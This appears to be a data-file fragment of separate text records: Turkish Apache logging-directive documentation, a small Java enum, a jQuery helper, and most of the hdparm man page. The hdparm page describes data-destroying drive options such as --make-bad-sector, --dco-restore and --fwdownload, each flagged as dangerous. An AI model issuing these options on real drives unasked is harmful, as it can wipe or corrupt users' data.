kullanılmışsa, süreç <code class=\"program\"><a href=\"../programs/httpd.html\">httpd</a></code>’yi\n başlatan kullanıcı tarafından başlatılacaktır. Sunucu root tarafından\n başlatılıyorsa bu root olacaktır; bu bakımdan günlük kaydını alacak\n programın güvenilir olması önemlidir.</p>\n </div>\n <div class=\"warning\"><h3>Bilginize</h3>\n <p>Dosya yolunu belirtirken tersbölü çizgisi kullanılan Unix dışı\n platformlarda bile yapılandırma dosyasında bu amaçla normal bölü\n çizgilerini kullanmaya özen gösterilmelidir.</p>\n </div></dd>\n </dl>\n\n <p>İkinci argümanda günlüğe ne yazılacağı belirtilir. Ya evvelce\n <code class=\"directive\"><a href=\"#logformat\">LogFormat</a></code> yönergesi ile\n tanımlanmış bir <var>takma-ad</var> ya da içeriği <a href=\"#formats\">Günlük Girdilerinin Kişiselleştirilmesi</a> bölümünde\n açıklanmış bir <var>biçem</var> dizgesi olabilir.</p>\n\n <p>Örneğin, aşağıdaki iki yönerge kümesi aynı etkiye sahiptir:</p>\n\n <div class=\"example\"><p><code>\n # Biçem dizgesi yerine takma ad içeren CustomLog<br />\n LogFormat \"%h %l %u %t \\\"%r\\\" %&gt;s %b\" common<br />\n CustomLog logs/access_log common<br />\n <br />\n # Biçem dizgesinin kendisini içeren CustomLog<br />\n CustomLog logs/access_log \"%h %l %u %t \\\"%r\\\" %&gt;s %b\"\n </code></p></div>\n\n <p>Üçüncü argüman isteğe bağlı olup, sunucu ortamında belli bir değişkenin\n varlığına bağlı olarak belli bir isteğin günlüğe kaydedilip\n kaydedilmeyeceğini belirler. Eğer istek için belirtilen <a href=\"../env.html\">ortam değişkeni</a> mevcutsa (veya\n '<code>env=!<var>değişken</var></code>' durumunda mevcut değilse) istek\n günlüğe kaydedilir.</p>\n\n <p>Ortam değişkenleri <code class=\"module\"><a href=\"../mod/mod_setenvif.html\">mod_setenvif</a></code>\n ve/veya <code class=\"module\"><a href=\"../mod/mod_rewrite.html\">mod_rewrite</a></code> modülleri kullanılarak her istek\n için ayrı ayrı atanabilir. Örneğin, GIF biçemli resimler için yapılan\n istekleri ana günlük dosyasına değil de başka bir dosyaya kaydetmek\n isterseniz:</p>\n\n <div class=\"example\"><p><code>\n SetEnvIf Request_URI \\.gif$ gif-image<br />\n CustomLog gif-requests.log common env=gif-image<br />\n CustomLog nongif-requests.log common env=!gif-image\n </code></p></div>\n\n <p>Veya eski <code>RefererIgnore</code> yönergesinin davranışını taklit\n etmek isterseniz:</p>\n\n <div class=\"example\"><p><code>\n SetEnvIf Referer example\\.com yerel-atif<br />\n CustomLog referer.log referer env=!yerel-atif\n </code></p></div>\n\n</div>\n<div class=\"top\"><a href=\"#page-header\"><img alt=\"top\" src=\"../images/up.gif\" /></a></div>\n<div class=\"directive-section\"><h2><a name=\"LogFormat\" id=\"LogFormat\">LogFormat</a> <a name=\"logformat\" id=\"logformat\">Yönergesi</a></h2>\n<table class=\"directive\">\n<tr><th><a href=\"directive-dict.html#Description\">Açıklama:</a></th><td>Bir günlük dosyasında kullanılmak üzere girdi biçemi tanımlar.\n</td></tr>\n<tr><th><a href=\"directive-dict.html#Syntax\">Sözdizimi:</a></th><td><code>LogFormat <var>biçem</var>|<var>takma-ad</var>\n[<var>takma-ad</var>]</code></td></tr>\n<tr><th><a href=\"directive-dict.html#Default\">Öntanımlı:</a></th><td><code>LogFormat \"%h %l %u %t \\\"%r\\\" %&gt;s %b\"</code></td></tr>\n<tr><th><a href=\"directive-dict.html#Context\">Bağlam:</a></th><td>sunucu geneli, sanal konak</td></tr>\n<tr><th><a href=\"directive-dict.html#Status\">Durum:</a></th><td>Temel</td></tr>\n<tr><th><a href=\"directive-dict.html#Module\">Modül:</a></th><td>mod_log_config</td></tr>\n</table>\n <p>Bu yönerge erişim günlüğü dosyasının girdi biçemini belirler.</p>\n\n <p><code class=\"directive\">LogFormat</code> yönergesi iki şekilde kullanılabilir.\n Tek argüman belirtilebilen ilkinde daha sonra\n <code class=\"directive\">TransferLog</code> yönergelerinde belirtilen günlüklerde\n kullanılmak üzere günlük biçemini belirler. Bu günlük biçemi yukarıda\n açıklanan <a href=\"#formats\"><var>biçem</var></a> belirteçlerinden\n oluşur. Bu tek argüman yerine aşağıda açıklandığı gibi önceki bir\n <code class=\"directive\">LogFormat</code> yönergesinde tanımlanmış bir günlük\n biçemine atıf yapan bir <var>takma-ad</var> da belirtilebilir.</p>\n\n <p><code class=\"directive\">LogFormat</code> yönergesinin ikinci kullanım şeklinde\n <var>biçem</var> bir <var>takma-ad</var> için tanımlanır. Bu takma ad\n daha sonraki <code class=\"directive\">LogFormat</code> veya <code class=\"directive\"><a href=\"#customlog\">CustomLog</a></code> yönergelerinde aynı biçem\n dizgesini uzun uzadıya yazmamak için <var>takma-ad</var> olarak\n kullanılır. Bir <code class=\"directive\">LogFormat</code> yönergesi bir takma ad\n tanımlamaktan <strong>başka bir şey yapmaz</strong>; yani, yaptığı iş\n sadece bir takma ad tanımlamaktan ibarettir, biçemi uygulamaz veya\n biçemi öntanımlı hale getirmez. Bu bakımdan sonraki <code class=\"directive\"><a href=\"#transferlog\">TransferLog</a></code> yönergelerini de\n etkilemeyecektir. Ayrıca, <code class=\"directive\">LogFormat</code> yönergesi bir\n takma ada başka bir takma ad tanımlamakta da kullanılamaz. Bir takma\n adın yüzde imi (<code>%</code>) içeremeyeceğine de dikkat ediniz.</p>\n\n <div class=\"example\"><h3>Örnek</h3><p><code>\n LogFormat \"%v %h %l %u %t \\\"%r\\\" %&gt;s %b\" vhost_common\n </code></p></div>\n\n</div>\n<div class=\"top\"><a href=\"#page-header\"><img alt=\"top\" src=\"../images/up.gif\" /></a></div>\n<div class=\"directive-section\"><h2><a name=\"TransferLog\" id=\"TransferLog\">TransferLog</a> <a name=\"transferlog\" id=\"transferlog\">Yönergesi</a></h2>\n<table class=\"directive\">\n<tr><th><a href=\"directive-dict.html#Description\">Açıklama:</a></th><td>Bir günlük dosyasının yerini belirtir.</td></tr>\n<tr><th><a href=\"directive-dict.html#Syntax\">Sözdizimi:</a></th><td><code>TransferLog <var>dosya</var>|<var>borulu-süreç</var>\n[<var>takma-ad</var>]</code></td></tr>\n<tr><th><a href=\"directive-dict.html#Context\">Bağlam:</a></th><td>sunucu geneli, sanal konak</td></tr>\n<tr><th><a href=\"directive-dict.html#Status\">Durum:</a></th><td>Temel</td></tr>\n<tr><th><a href=\"directive-dict.html#Module\">Modül:</a></th><td>mod_log_config</td></tr>\n</table>\n <p>Bir günlük biçemi tanımlanmasını ve şarta bağlı günlük kaydını mümkün\n kılmaması haricinde <code class=\"directive\"><a href=\"#customlog\">CustomLog</a></code> yönergesi gibidir. Günlük biçemi yerine kendinden\n önce yer alan bir <code class=\"directive\"><a href=\"#logformat\">LogFormat</a></code> yönergesinde tanımlanan\n bir takma ad kullanılır. Açıkça bir günlük biçemi takma adı\n belirtilmedikçe Ortak Günlük Biçemi öntanımlıdır.</p>\n\n <div class=\"example\"><h3>Örnek</h3><p><code>\n LogFormat \"%h %l %u %t \\\"%r\\\" %&gt;s %b \\\"%{Referer}i\\\"\n \\\"%{User-agent}i\\\"\"<br />\n TransferLog logs/access_log\n </code></p></div>\n\n</div>\n</div>\n<div class=\"bottomlang\">\n<p><span>Mevcut Diller: </span><a href=\"../en/mod/mod_log_config.html\" hreflang=\"en\" rel=\"alternate\" title=\"English\">&nbsp;en&nbsp;</a> |\n<a href=\"../ja/mod/mod_log_config.html\" hreflang=\"ja\" rel=\"alternate\" title=\"Japanese\">&nbsp;ja&nbsp;</a> |\n<a href=\"../ko/mod/mod_log_config.html\" hreflang=\"ko\" rel=\"alternate\" title=\"Korean\">&nbsp;ko&nbsp;</a> |\n<a href=\"../tr/mod/mod_log_config.html\" title=\"Türkçe\">&nbsp;tr&nbsp;</a></p>\n</div><div id=\"footer\">\n<p class=\"apache\">Copyright 2012 The Apache Software Foundation.<br /><a href=\"http://www.apache.org/licenses/LICENSE-2.0\">Apache License, Version 2.0</a> altında lisanslıdır.</p>\n<p class=\"menu\"><a href=\"../mod/\">Modüller</a> | <a href=\"../mod/directives.html\">Yönergeler</a> | <a href=\"../faq/\">SSS</a> | <a href=\"../glossary.html\">Terimler</a> | <a href=\"../sitemap.html\">Site Haritası</a></p></div>\n</body></html>"} {"text": "package com.sequenceiq.cloudbreak.core.flow2.cluster.repair.master.ha;\n\nimport com.sequenceiq.flow.core.FlowState;\nimport com.sequenceiq.flow.core.RestartAction;\nimport com.sequenceiq.cloudbreak.core.flow2.restart.FillInMemoryStateStoreRestartAction;\n\nenum ChangePrimaryGatewayState implements FlowState {\n INIT_STATE,\n CHANGE_PRIMARY_GATEWAY_STATE,\n WAITING_FOR_AMBARI_SERVER_STATE,\n CHANGE_PRIMARY_GATEWAY_FINISHED_STATE,\n CHANGE_PRIMARY_GATEWAY_FAILED_STATE,\n FINAL_STATE;\n\n private final Class<? extends RestartAction> restartAction = FillInMemoryStateStoreRestartAction.class;\n\n @Override\n public Class<? extends RestartAction> restartAction() {\n return restartAction;\n }\n}\n"} {"text": "define([\n\t\"../core\"\n], function( jQuery ) {\n\n/**\n * Determines whether an object can have data\n */\njQuery.acceptData = function( owner ) {\n\t// Accepts only:\n\t// - Node\n\t// - Node.ELEMENT_NODE\n\t// - Node.DOCUMENT_NODE\n\t// - Object\n\t// - Any\n\t/* jshint -W018 */\n\treturn owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType );\n};\n\nreturn jQuery.acceptData;\n});\n"} {"text": ".TH HDPARM 8 \"October 2018\" \"Version 9.58\"\n\n.SH NAME\nhdparm \\- get/set SATA/IDE device parameters\n.SH SYNOPSIS\n.B hdparm\n[options] [device ...]\n.SH DESCRIPTION\n.BI hdparm\nprovides a command line interface to various kernel interfaces\nsupported by the Linux SATA/PATA/SAS \"libata\" subsystem\nand the older IDE driver subsystem. Many newer (2008 and later)\nUSB drive enclosures now also support \"SAT\" (SCSI-ATA Command Translation)\nand therefore may also work with hdparm. E.g. recent WD \"Passport\" models\nand recent NexStar-3 enclosures.\nSome options may work correctly only with the latest kernels.\n.SH OPTIONS\nWhen no options are given,\n.B -acdgkmur\nis assumed.\nFor \"Get/set\" options, a query without the optional parameter (e.g. \\-d) will query (get)\nthe device state, and with a parameter (e.g., \\-d0) will set the device state.\n.TP\n.I -a \nGet/set sector count for filesystem (software) read-ahead.\nThis is used to improve performance in sequential reads of large files,\nby prefetching additional\nblocks in anticipation of them being needed by the running task.\nMany IDE drives also have a separate built-in read-ahead function,\nwhich augments this filesystem (software) read-ahead function.\n.TP\n.I -A\nGet/set the IDE drive\\'s read-lookahead feature (usually ON by default).\nUsage:\n.B -A0\n(disable) or\n.B -A1\n(enable).\n.TP\n.I -b\nGet/set bus state.\n.TP\n.I -B\nGet/set Advanced Power Management feature, if the drive supports it. A low value\nmeans aggressive power management and a high value means better performance.\nPossible settings range from values 1 through 127 (which permit spin-down),\nand values 128 through 254 (which do not permit spin-down).\nThe highest degree of power management is attained with a setting of 1,\nand the highest I/O performance with a setting of 254.\nA value of 255 tells hdparm to disable Advanced Power Management altogether\non the drive (not all drives support disabling it, but most do).\n.TP\n.I -c\nGet/set (E)IDE 32-bit I/O support. A numeric parameter can be\nused to enable/disable 32-bit I/O support.\nCurrently supported values include\n.B 0\nto disable 32-bit I/O support,\n.B 1\nto enable 32-bit data transfers, and\n.B 3\nto enable 32-bit data transfers with a special\n.B sync\nsequence required by many chipsets. The value\n.B 3\nworks with nearly all\n32-bit IDE chipsets, but incurs slightly more overhead.\nNote that \"32-bit\" refers to data transfers across a PCI or VLB bus to the\ninterface card only; all (E)IDE drives still have only a 16-bit connection\nover the ribbon cable from the interface card.\n.TP\n.I -C\nCheck the current IDE power mode status, which will always be one of\n.B unknown\n(drive does not support this command),\n.B active/idle\n(normal operation),\n.B standby\n(low power mode, drive has spun down),\nor\n.B sleeping\n(lowest power mode, drive is completely shut down).\nThe\n.B -S, -y, -Y,\nand\n.B -Z\noptions can be used to manipulate the IDE power modes.\n.TP\n.I -d\nGet/set the \"using_dma\" flag for this drive. This option now works\nwith most combinations of drives and PCI interfaces which support DMA\nand which are known to the kernel IDE driver.\nIt is also a good idea to use the appropriate\n.B -X\noption in combination with\n.B -d1\nto ensure that the drive itself is programmed for the correct DMA mode,\nalthough most BIOSs should do this for you at boot time.\nUsing DMA nearly always gives the best performance,\nwith fast I/O throughput and low CPU usage.\nBut there are at least a few configurations of chipsets and drives\nfor which DMA does not make much of a difference, or may even slow\nthings down (on really messed up hardware!). Your mileage may vary.\n.TP\n.I --dco-freeze\nDCO stands for Device Configuration Overlay, a way for vendors to selectively\ndisable certain features of a drive. The \n.B --dco-freeze\noption will freeze/lock the current drive configuration,\nthereby preventing software (or malware)\nfrom changing any DCO settings until after the next power-on reset.\n.TP\n.I --dco-identify\nQuery and dump information regarding drive configuration settings\nwhich can be disabled by the vendor or OEM installer.\nThese settings show capabilities of the drive which might be disabled\nby the vendor for \"enhanced compatibility\".\nWhen disabled, they are otherwise hidden and will not show in the\n.B -I\nidentify output. For example, system vendors sometimes disable 48_bit\naddressing on large drives, for compatibility (and loss of capacity)\nwith a specific BIOS. In such cases,\n.B --dco-identify\nwill show that the drive is 48_bit capable, but\n.B -I\nwill not show it, and nor will the drive accept 48_bit commands.\n.TP\n.I --dco-restore\nReset all drive settings, features, and accessible capacities back to factory defaults\nand full capabilities. This command will fail if DCO is frozen/locked,\nor if a\n.B -Np\nmaximum size restriction has also been set.\nThis is\n.B EXTREMELY DANGEROUS\nand will very likely cause massive loss of data.\n.B DO NOT USE THIS COMMAND.\n.TP\n.I --direct\nUse the kernel\\'s \"O_DIRECT\" flag when performing a\n.B -t\ntiming test. This bypasses the page cache, causing the reads\nto go directly from the drive into hdparm's buffers, using so-called\n\"raw\" I/O. In many cases, this can produce results that appear\nmuch faster than the usual page cache method, giving a better indication\nof raw device and driver performance.\n.TP\n.I --drq-hsm-error\n.B VERY DANGEROUS, DON'T EVEN THINK ABOUT USING IT.\nThis option causes hdparm to issue an IDENTIFY command\nto the kernel, but incorrectly marked as a \"non-data\" command.\nThis results in the drive being left with its DataReQust(DRQ) line\n\"stuck\" high. This confuses the kernel drivers, and may crash the system\nimmediately with massive data loss. The option exists to help in testing\nand fortifying the kernel against similar real-world drive malfunctions.\n.B VERY DANGEROUS, DO NOT USE!!\n.TP\n.I -D\nEnable/disable the on-drive defect management feature,\nwhereby the drive firmware tries to automatically manage\ndefective sectors by relocating them to \"spare\" sectors\nreserved by the factory for such. Control of this feature\nvia the\n.B -D\noption is not supported for most modern drives\nsince ATA-4; thus this command may fail.\n.TP\n.I -E\nSet cd/dvd drive speed. This is NOT necessary for regular operation,\nas the drive will automatically switch speeds on its own.\nBut if you want to play with it, just supply a speed number\nafter the option, usually a number like 2 or 4.\nThis can be useful in some cases, though, to smooth out DVD video playback.\n.TP\n.I -f\nSync and flush the buffer cache for the device on exit.\nThis operation is also performed internally as part of the\n.B -t\nand\n.B -T\ntimings and other options.\n.TP\n.I --fallocate\nThis option currently works only on ext4 and xfs filesystem types.\nWhen used, this must be the only option given.\nIt requires two parameters: the desired file size in kilo-bytes\n(byte count divided by 1024), followed by the pathname for the new file.\nIt will create a new file of the specified size,\nbut without actually having to write any data to the file.\nThis will normally complete very quickly, and without thrashing the storage device.\n.IP\nE.g. Create a 10KByte file:\n.B hdparm --fallocate 10 temp_file\n.TP\n.I --fibmap\nWhen used, this must be the only option given.\nIt requires a file path as a parameter, and will print\nout a list of the block extents (sector ranges)\noccupied by that file on disk.\nSector numbers are given as absolute LBA numbers,\nreferenced from sector 0 of the physical device rather\nthan from the partition or filesystem.\nThis information can then be used for a variety of purposes,\nsuch as examining the degree of fragmenation of larger files, or\ndetermining appropriate sectors to deliberately corrupt\nduring fault-injection testing procedures.\n.IP\nThis option uses the new FIEMAP (file extent map) ioctl() when available,\nand falls back to the older FIBMAP (file block map) ioctl() otherwise.\nNote that FIBMAP suffers from a 32-bit block-number interface,\nand thus not work beyond 8TB or 16TB. FIBMAP is also very slow,\nand does not deal well with preallocated uncommitted extents\nin ext4/xfs filesystems, unless a sync() is done before using this option.\n.TP\n.I --fwdownload\nWhen used, this should be the only option given.\nIt requires a file path immediately after the\noption, indicating where the new drive firmware should be read from.\nThe contents of this file will be sent to the drive using the\n(S)ATA\n.B DOWNLOAD MICROCODE\ncommand, using either transfer protocol 7 (entire file at once),\nor, if the drive supports it, transfer protocol 3 (segmented download).\nThis command is \n.B EXTREMELY DANGEROUS\nand could destroy both the drive and all data on it.\n.B DO NOT USE THIS COMMAND.\nThe \n.B --fwdownload-mode3\n,\n.B --fwdownload-mode3-max\n, and\n.B --fwdownload-mode7\nvariations on basic\n.B --fwdownload\nallow overriding automatic protocol detection in favour of\nforcing hdparm to use a specific transfer protocol, for testing purposes only.\n.TP\n.I -F\nFlush the on-drive write cache buffer (older drives may not implement this).\n.TP\n.I -g\nDisplay the drive geometry (cylinders, heads, sectors),\nthe size (in sectors) of the device,\nand the starting offset (in sectors) of the device from\nthe beginning of the drive.\n.TP\n.I -h\nDisplay terse usage information (help).\n.TP\n.I -H\nRead the temperature from some (mostly Hitachi) drives. \nAlso reports if the temperature is within operating condition range\n(this may not be reliable). Does not cause the drive to spin up if idle.\n.TP\n.I -i\nDisplay the identification info which the kernel drivers (IDE, libata)\nhave stored from boot/configuration time. This may differ from the\ncurrent information obtainable directly from the drive itself\nwith the\n.B -I\noption.\nThe data returned may or may not be current, depending on activity\nsince booting the system.\nFor a more detailed interpretation of the identification info,\nrefer to\n.I AT Attachment Interface for Disk Drives, \nANSI ASC X3T9.2 working draft, revision 4a, April 19/93, and later editions.\n.TP\n.I --idle-immediate\nIssue an ATA IDLE_IMMEDIATE command, to put the drive into a lower power state.\nUsually the device remains spun-up.\n.TP\n.I --idle-unload\nIssue an ATA IDLE_IMMEDIATE_WITH_UNLOAD command, to unload or park the heads\nand put the drive into a lower power state. Usually the device remains spun-up.\n.TP\n.I -I\nRequest identification info directly from the drive,\nwhich is displayed in a new expanded format with considerably\nmore detail than with the older\n.B -i\noption.\n.TP\n.I --Iraw <pathname>\nThis option dumps the drive's identify data in raw binary to the specified file.\n.TP\n.I --Istdin\nThis is a special variation on the\n.B -I\noption,\nwhich accepts a drive identification block as standard input\ninstead of using a /dev/hd* parameter.\nThe format of this block must be\n.B exactly\nthe same as that found in the /proc/ide/*/hd*/identify \"files\",\nor that produced by the\n.B --Istdout\noption described below.\nThis variation is designed for use with collected \"libraries\" of drive\nidentification information, and can also be used on ATAPI\ndrives which may give media errors with the standard mechanism.\nWhen\n.B --Istdin\nis used, it must be the *only* parameter given.\n.TP\n.I --Istdout\nThis option dumps the drive's identify data in hex to stdout,\nin a format similar to that from /proc/ide/*/identify, and suitable for\nlater use with the\n.B --Istdin\noption.\n.TP\n.I -J\nGet/set the Western Digital (WD) Green Drive's \"idle3\" timeout value.\nThis timeout controls how often the drive parks its heads and enters\na low power consumption state. The factory default is eight (8) seconds,\nwhich is a very poor choice for use with Linux. Leaving it at the default\nwill result in hundreds of thousands of head load/unload cycles in a very\nshort period of time. The drive mechanism is only rated for 300,000 to 1,000,000\ncycles, so leaving it at the default could result in premature failure,\nnot to mention the performance impact of the drive often having to wake-up\nbefore doing routine I/O.\n.IP\nWD supply a WDIDLE3.EXE DOS utility for tweaking this setting,\nand you should use that program instead of hdparm\nif at all possible. The reverse-engineered implementation in hdparm\nis not as complete as the original official program, even though it does\nseem to work on at a least a few drives. A full power cycle is required\nfor any change in setting to take effect, regardless of which program is\nused to tweak things.\n.IP\nA setting of 30 seconds is recommended for Linux use.\nPermitted values are from 8 to 12 seconds, and from 30 to 300 seconds\nin 30-second increments.\nSpecify a value of zero (0) to disable the WD idle3 timer completely\n(NOT RECOMMENDED!).\n.TP\n.I -k\nGet/set the \"keep_settings_over_reset\" flag for the drive.\nWhen this flag is set, the drive will preserve the\n.B -dmu\nsettings over a soft reset, (as done during the error recovery sequence).\nThis option defaults to off,\nto prevent drive reset loops which could be caused by combinations of\n.B -dmu\nsettings. The\n.B -k\noption should therefore only be set after one has achieved confidence in\ncorrect system operation with a chosen set of configuration settings.\nIn practice, all that is typically necessary to test a configuration\n(prior to using \\-k) is to verify that the drive can be read/written,\nand that no error logs (kernel messages) are generated in the process\n(look in /var/log/messages on most systems).\n.TP\n.I -K\nSet the drive\\'s \"keep_features_over_reset\" flag. Setting this enables\nthe drive to retain the settings for\n.B -APSWXZ\nover a soft reset (as done during the error recovery sequence).\nNot all drives support this feature.\n.TP\n.I -L\nSet the drive\\'s doorlock flag. Setting this to\n.B 1\nwill lock the door mechanism of some removable hard drives\n(e.g. Syquest, ZIP, Jazz..), and setting it to\n.B 0\nwill unlock the door mechanism. Normally, Linux\nmaintains the door locking mechanism automatically, depending on drive usage\n(locked whenever a filesystem is mounted). But on system shutdown, this can\nbe a nuisance if the root partition is on a removable disk, since the root\npartition is left mounted (read-only) after shutdown. So, by using this\ncommand to unlock the door\n.B after\nthe root filesystem is remounted read-only, one can then remove the cartridge\nfrom the drive after shutdown.\n.TP\n.I -m\nGet/set sector count for multiple sector I/O on the drive. A setting of\n.B 0\ndisables this feature. Multiple sector mode (aka IDE Block Mode), is a feature\nof most modern IDE hard drives, permitting the transfer of multiple sectors per\nI/O interrupt, rather than the usual one sector per interrupt. When this\nfeature is enabled, it typically reduces operating system overhead for disk\nI/O by 30-50%. On many systems, it also provides increased data throughput\nof anywhere from 5% to 50%. Some drives, however\n(most notably the WD Caviar series),\nseem to run slower with multiple mode enabled. Your mileage may vary.\nMost drives support the minimum settings of\n2, 4, 8, or 16 (sectors). Larger settings may also be possible, depending on\nthe drive. A setting of 16 or 32 seems optimal on many systems.\nWestern Digital recommends lower settings of 4 to 8 on many of their drives,\ndue tiny (32kB) drive buffers and non-optimized buffering algorithms.\nThe\n.B -i\noption can be used to find the maximum setting supported by an installed drive\n(look for MaxMultSect in the output).\nSome drives claim to support multiple mode, but lose data at some settings.\nUnder rare circumstances, such failures can result in\n.B massive filesystem corruption.\n.TP\n.I --make-bad-sector\nDeliberately create a bad sector (aka. \"media error\") on the disk.\n.B EXCEPTIONALLY DANGEROUS. DO NOT USE THIS OPTION!!\nThis can be useful for testing of device/RAID error recovery mechanisms.\nThe sector number is given as a (base10) parameter after the option.\nDepending on the device, hdparm will choose one of two possible ATA commands for\ncorrupting the sector. The WRITE_LONG works on most drives, but only up to the 28-bit\nsector boundary. Some very recent drives (2008) may support the new WRITE_UNCORRECTABLE_EXT\ncommand, which works for any LBA48 sector. If available, hdparm will use that in\npreference to WRITE_LONG. The WRITE_UNCORRECTABLE_EXT command itself presents a\nchoice of how the new bad sector should behave.\nBy default, it will look like any other bad sector, and the drive may take some\ntime to retry and fail on subsequent READs of the sector.\nHowever, if a single letter\n.B f\nis prepended immediately in front of the first digit of the sector number parameter,\nthen hdparm will issue a \"flagged\" WRITE_UNCORRECTABLE_EXT, which causes the drive\nto merely flag the sector as bad (rather than genuinely corrupt it), and subsequent\nREADs of the sector will fail immediately (rather than after several retries).\nNote also that the\n.B --repair-sector\noption can be used to restore (any) bad sectors when they are no longer needed,\nincluding sectors that were genuinely bad (the drive will likely remap those\nto a fresh area on the media).\n.TP\n.I -M\nGet/set Automatic Acoustic Management (AAM) setting. Most modern harddisk drives \nhave the ability to speed down the head movements to reduce their noise output.\nThe possible values are between 0 and 254. 128 is the most quiet (and therefore\nslowest) setting and 254 the fastest (and loudest). Some drives have only two \nlevels (quiet / fast), while others may have different levels between 128 and 254.\nAt the moment, most drives only support 3 options, off, quiet, and fast.\nThese have been assigned the values 0, 128, and 254 at present, respectively,\nbut integer space has been incorporated for future expansion, should this change.\n.TP\n.I -n\nGet or set the \"ignore_write_errors\" flag in the driver.\nDo NOT play with this without grokking the driver source code first.\n.TP\n.I -N\nGet/set max visible number of sectors, also known as the\n.B Host Protected Area\nsetting. Without a parameter,\n.B -N\ndisplays the current setting, which is reported as two values: the first\ngives the current max sectors setting, and the second shows\nthe native (real) hardware limit for the disk.\nThe difference between these two values indicates how many sectors of the disk\nare currently hidden from the operating system, in the form of a\n.B Host Protected Area (HPA).\nThis area is often used by computer makers to hold diagnostic software,\nand/or a copy of the originally provided operating system for recovery purposes.\nAnother possible use is to hide the true capacity of a very large disk\nfrom a BIOS/system that cannot normally cope with drives of that size\n(eg. most current {2010} BIOSs cannot deal with drives larger than 2TB,\nso an HPA could be used to cause a 3TB drive to report itself as a 2TB drive).\nTo change the current max (VERY DANGEROUS, DATA LOSS IS EXTREMELY LIKELY),\na new value should be provided (in base10) immediately\nfollowing the\n.B -N\noption.\nThis value is specified as a count of sectors, rather than\nthe \"max sector address\" of the drive.\nDrives have the concept of a temporary (volatile) setting which is\nlost on the next hardware reset, as well as a more permanent (non-volatile)\nvalue which survives resets and power cycles. By default,\n.B -N\naffects only the temporary (volatile) setting. To change the permanent\n(non-volatile) value, prepend a leading\n.B p\ncharacter immediately before the first digit of the value.\nDrives are supposed to allow only a single permanent\nchange per session. A hardware reset (or power cycle) is required\nbefore another permanent\n.B -N\noperation can succeed. Note that any attempt to set this value\nmay fail if the disk is being accessed by other software at the same time.\nThis is because setting the value requires a pair of back-to-back drive commands,\nbut there is no way to prevent some other command from being inserted between\nthem by the kernel. So if it fails initially, just try again.\nKernel support for\n.B -N\nis buggy for many adapter types across many kernel versions,\nin that an incorrect (too small) max size value is sometimes reported.\nAs of the 2.6.27 kernel, this does finally seem to be working on most hardware.\n.TP\n.I --offset\nOffsets to given number of GiB (1024*1024*1024) when performing \n.B -t\ntimings of device reads. \nSpeed changes (about twice) along many mechanical drives. \nUsually the maximum is at the beginning, but not always.\nSolid-state drives (SSDs) should show similar timings regardless of offset.\n.TP\n.I -p\nAttempt to reprogram the IDE interface chipset for the specified PIO mode,\nor attempt to auto-tune for the \"best\" PIO mode supported by the drive.\nThis feature is supported in the kernel for only a few \"known\" chipsets,\nand even then the support is iffy at best. Some IDE chipsets are unable\nto alter the PIO mode for a single drive, in which case this option may cause\nthe PIO mode for\n.I both\ndrives to be set. Many IDE chipsets support either fewer or more than the\nstandard six (0 to 5) PIO modes, so the exact speed setting that is actually\nimplemented will vary by chipset/driver sophistication.\n.I Use with extreme caution!\nThis feature includes zero protection for the unwary,\nand an unsuccessful outcome may result in\n.I severe filesystem corruption!\n.TP\n.I -P\nSet the maximum sector count for the drive\\'s internal prefetch mechanism.\nNot all drives support this feature, and it was dropped from the official spec\nas of ATA-4.\n.TP\n.I --prefer-ata12\nWhen using the SAT (SCSI ATA Translation) protocol, hdparm normally prefers\nto use the 16-byte command format whenever possible.\nBut some USB drive enclosures don't work correctly with 16-byte commands.\nThis option can be used to force use of the smaller 12-byte command format\nwith such drives. hdparm will still revert to 16-byte commands for things\nthat cannot be done with the 12-byte format (e.g. sector accesses beyond 28-bits).\n.TP\n.I -q\nHandle the next option quietly, suppressing normal output (but not error messages).\nThis is useful for reducing screen clutter when running from system startup scripts.\nNot applicable to the\n.B -i\nor\n.B -v\nor\n.B -t\nor\n.B -T\noptions.\n.TP\n.I -Q\nGet or set the device's command queue_depth, if supported by the hardware.\nThis only works with 2.6.xx (or later) kernels, and only with\ndevice and driver combinations which support changing the queue_depth.\nFor SATA disks, this is the Native Command Queuing (NCQ) queue depth.\n.TP\n.I -r\nGet/set read-only flag for the device. When set, Linux disallows write operations on the device.\n.TP\n.I -R\nGet/set Write-Read-Verify feature, if the drive supports it.\nUsage:\n.B -R0\n(disable) or\n.B -R1\n(enable). This feature is intended to have the drive firmware automatically\nread-back any data that is written by software, to verify that the data was\nsuccessfully written. This is generally overkill, and can slow down disk\nwrites by as much as a factor of two (or more).\n.TP\n.I --read-sector\nReads from the specified sector number, and dumps the contents in hex to standard output.\nThe sector number must be given (base10) after this option.\nhdparm will issue a low-level read (completely bypassing the usual block layer read/write mechanisms)\nfor the specified sector. This can be used to definitively check whether a given sector is bad\n(media error) or not (doing so through the usual mechanisms can sometimes give false positives).\n.TP\n.I --repair-sector\nThis is an alias for the\n.B --write-sector\noption. VERY DANGEROUS.\n.TP\n.I -s\nEnable/disable the power-on in standby feature, if supported by\nthe drive.\n.B VERY DANGEROUS.\nDo not use unless you are absolutely certain\nthat both the system BIOS (or firmware) and the operating system kernel\n(Linux >= 2.6.22) support probing for drives that use this feature.\nWhen enabled, the drive is powered-up in the\n.B standby\nmode to allow the controller to sequence the spin-up of devices,\nreducing the instantaneous current draw burden when many drives\nshare a power supply. Primarily for use in large RAID setups.\nThis feature is usually disabled and the drive is powered-up in the\n.B active\nmode (see \\-C above).\nNote that a drive may also allow enabling this feature by a jumper.\nSome SATA drives support the control of this feature by pin 11 of\nthe SATA power connector. In these cases, this command may be\nunsupported or may have no effect.\n.TP\n.I -S\nPut the drive into idle (low-power) mode, and also set the standby\n(spindown) timeout for the drive. This timeout value is used\nby the drive to determine how long to wait (with no disk activity)\nbefore turning off the spindle motor to save power. Under such\ncircumstances, the drive may take as long as 30 seconds to respond to\na subsequent disk access, though most drives are much quicker. The\nencoding of the timeout value is somewhat peculiar. A value of zero\nmeans \"timeouts are disabled\": the device will not automatically enter\nstandby mode. Values from 1 to 240 specify multiples of 5 seconds,\nyielding timeouts from 5 seconds to 20 minutes. Values from 241 to\n251 specify from 1 to 11 units of 30 minutes, yielding timeouts from\n30 minutes to 5.5 hours. A value of 252 signifies a timeout of 21\nminutes. A value of 253 sets a vendor-defined timeout period between 8\nand 12 hours, and the value 254 is reserved. 255 is interpreted as 21\nminutes plus 15 seconds. Note that some older drives may have very\ndifferent interpretations of these values.\n.TP\n.I --set-sector-size\nFor drives which support reconfiguring of the Logical Sector Size,\nthis flag can be used to specify the new desired sector size in bytes.\n.B VERY DANGEROUS. 